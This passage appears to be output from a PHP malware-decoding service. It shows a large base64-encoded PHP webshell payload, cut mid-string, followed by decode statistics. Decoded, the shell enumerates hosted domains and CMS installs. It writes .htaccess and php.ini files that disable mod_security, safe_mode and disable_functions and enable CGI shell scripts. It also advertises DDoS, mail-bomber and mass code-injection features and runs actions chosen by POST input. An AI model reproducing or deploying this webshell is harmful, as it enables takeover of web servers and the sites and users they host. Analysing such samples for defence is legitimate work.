dHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICI8YSBocmVmPSciLiRjMS4iJyB0YXJnZXQ9J19ibGFuayc+V29yZHByZXNzPC9hPiI7ICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDIsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICI8YSBocmVmPSciLiRjMi4iJyB0YXJnZXQ9J19ibGFuayc+V29yZHByZXNzPC9hPiI7ICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwMywnMjAwJykgPT0gdHJ1ZSAmJiBzdHJwb3MoJGNmMTEsJzIwMCcpID09IHRydWUpIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjMTEuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7ICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjA5LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM5LiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOyAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTAsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzEwLiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOyAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwMywnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjMy4iJyB0YXJnZXQ9J19ibGFuayc+Sm9vbWxhPC9hPiI7ICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjA0LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM0LiInIHRhcmdldD0nX2JsYW5rJz5Kb29tbGE8L2E+IjsgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDUsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzUuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOyAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwNiwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNi4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7ICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjA3LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDgsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPkNsaWVudCBBcmVhPC9hPiI7ICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjEyLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5DbGllbnQgQXJlYTwvYT4iOyAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YxMywnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+b3NDb21tZXJjZS9aZW4gQ2FydDwvYT4iOyAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YxNCwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+TWFnZW50bzwvYT4iOyAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YxNSwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+RHJ1cGFsPC9hPiI7ICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD4nLiRjb3VudCsrLic8L3RkPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cuJy4kZG9tYWluWzFdWzBdLicvPicuJGRvbWFpblsxXVswXS4nPC9hPjwvdGQ+PHRkPicuJHVzZXJbJ25hbWUnXS4nPC90ZD48dGQ+Jy4kb3V0Lic8L3RkPjwvdHI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkbD0kbD8wOjE7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPC9jZW50ZXI+IjsgICANCiAgICB9DQogICAgZWNobyAiPC9kaXY+IjsNCiAgICBwcmludEZvb3RlcigpOw0KfSANCg0KZnVuY3Rpb24gYWN0aW9uQnlwYXNzKCkgew0KICAgIHByaW50SGVhZGVyKCk7DQogICAgZWNobyAnPGgxPlNhZmUgTW9kZTwvaDE+JzsNCiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOw0KICAgIGVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGgzPjxzcGFuPnwgU0FGRSBNT0RFIEFORCBNT0QgU0VDVVJJVFkgRElTQUJMRUQgQU5EIFBFUkwgNTAwIElOVEVSTkFMIEVSUk9SIEJZUEFTUyB8PC9zcGFuPjwvaDM+Rm9sbG93aW5nIHBocC5pbmkgYW5kIC5odGFjY2Vzcyhtb2QpIGFuZCBwZXJsKC5odGFjY2VzcylbY29udmVydCBwZXJsIGV4dGVudGlvbiAqLnBsID0+ICouc2ggIF0gZmlsZXMgY3JlYXRlIGluIGZvbGxvd2luZyBkaXI8YnI+fCAiLiRHTE9CQUxTWydjd2QnXS4iIHw8YnI+PGJyIC8+IjsNCiAgICBlY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCdwaHAuaW5pXCcsbnVsbCkiPnwgUEhQLklOSSB8IDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxcJ2luaVwnKSI+fCAuaHRhY2Nlc3MoTW9kKSB8IDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxudWxsLFwnc2hcJykiPnwgLmh0YWNjZXNzKHBlcmwpIHwgPC9hPjwvY2VudGVyPic7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgaXNzZXQoJF9QT1NUWydwMiddKSkNCiAgICB7DQogICAgICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCJ3Iik7DQogICAgICAgIGZ3cml0ZSgkZmlsLCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQogICAgICAgICAgICBTZWMtLS0tLS1FbmdpbmUgT2ZmDQogICAgICAgICAgICBTZWMtLS0tLS1TY2FuUE9TVCBPZmYNCiAgICAgICAgICAgIDwvSWZNb2R1bGU+Jyk7DQogICAgICAgIGZjbG9zZSgkZmlsKTsNCiAgIH0NCiAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pJiYgaXNzZXQoJF9QT1NUWydwMSddKSkNCiAgIHsNCiAgICAgICAgJGZpbD1mb3BlbigkR0xPQkFMU1snY3dkJ10uInBocC5pbmkiLCJ3Iik7DQogICAgICAgIGZ3cml0ZSgkZmlsLCdzYWZlX21vZGU9T0ZGDQogICAgICAgICAgICBkaXNhYmxlX2Z1bmN0aW9ucz1OT05FJyk7DQogICAgICAgIGZjbG9zZSgkZmlsKTsNCiAgICB9DQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDMnXSkgJiYgaXNzZXQoJF9QT1NUWydwMyddKSkNCiAgICB7DQogICAgICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCJ3Iik7DQogICAgICAgIGZ3cml0ZSgkZmlsLCdPcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVjQ0dJDQogICAgICAgIEFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1jZ2kgLnNoDQogICAgICAgIEFkZEhhbmRsZXIgY2dpLXNjcmlwdCAucGwNCiAgICAgICAgQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbCcpOw0KICAgICAgICBmY2xvc2UoJGZpbCk7IA0KICAgIH0NCiAgICBlY2hvICI8YnI+PGJyIC8+PGJyIC8+PC9kaXY+IjsNCiAgICBlY2hvICc8L2Rpdj4nOw0KICAgIHByaW50Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkRkb3MoKXsNCiAgICBwcmludEhlYWRlcigpOw0KICAgIGVjaG8gJzxoMT5ERG9TPC9oMT4nOw0KICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7DQogICAgZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48aDM+PHNwYW4+UHJlbWl1bSBGZWF0dXJlcyEhITwvc3Bhbj48L2gzPldpbGwgY29tZSBpbiBuZXh0IHZlcnNpb24uPGJyPjxiciAvPiI7DQogICAgZWNobyAiPGJyPjxiciAvPjxiciAvPjwvZGl2PiI7DQogICAgZWNobyAnPC9kaXY+JzsNCiAgICBwcmludEZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25NYWlsKCl7DQogICAgcHJpbnRIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE+TWFzcyBNYWlsZXIgYW5kIE1haWwgQm9tYmVyPC9oMT4nOw0KICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7DQogICAgZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48aDM+PHNwYW4+UHJlbWl1bSBGZWF0dXJlcyEhITwvc3Bhbj48L2gzPldpbGwgY29tZSBpbiBuZXh0IHZlcnNpb24uPGJyPjxiciAvPiI7DQogICAgZWNobyAiPGJyPjxiciAvPjxiciAvPjwvZGl2PiI7DQogICAgZWNobyAnPC9kaXY+JzsNCiAgICBwcmludEZvb3RlcigpOyAgICANCn0NCg0KZnVuY3Rpb24gYWN0aW9uSW5qZWN0b3IoKXsNCiAgICBwcmludEhlYWRlcigpOw0KICAgIGVjaG8gJzxoMT5NYXNzIENvZGUgSW5qZWN0b3I8L2gxPic7DQogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+JzsNCiAgICBlY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxoMz48c3Bhbj5QcmVtaXVtIEZlYXR1cmVzISEhPC9zcGFuPjwvaDM+V2lsbCBjb21lIGluIG5leHQgdmVyc2lvbi48YnI+PGJyIC8+IjsNCiAgICBlY2hvICI8YnI+PGJyIC8+PGJyIC8+PC9kaXY+IjsNCiAgICBlY2hvICc8L2Rpdj4nOw0KICAgIHByaW50Rm9vdGVyKCk7DQp9DQoNCmlmKCBlbXB0eSgkX1BPU1RbJ2EnXSkgKQ0KICAgIGlmKGlzc2V0KCRkZWZhdWx0X2FjdGlvbikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJGRlZmF1bHRfYWN0aW9uKSkNCiAgICAgICAgJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247DQogICAgZWxzZQ0KICAgICAgICAkX1BPU1RbJ2EnXSA9ICdTZWNJbmZvJzsNCmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnYSddKSApDQogICAgY2FsbF91c2VyX2Z1bmMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSk7DQoNCj8+")); ?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | b446551cadd56469907e1a94bf263ca3 |
| Eval Count | 1 |
| Decode Time | 199 ms |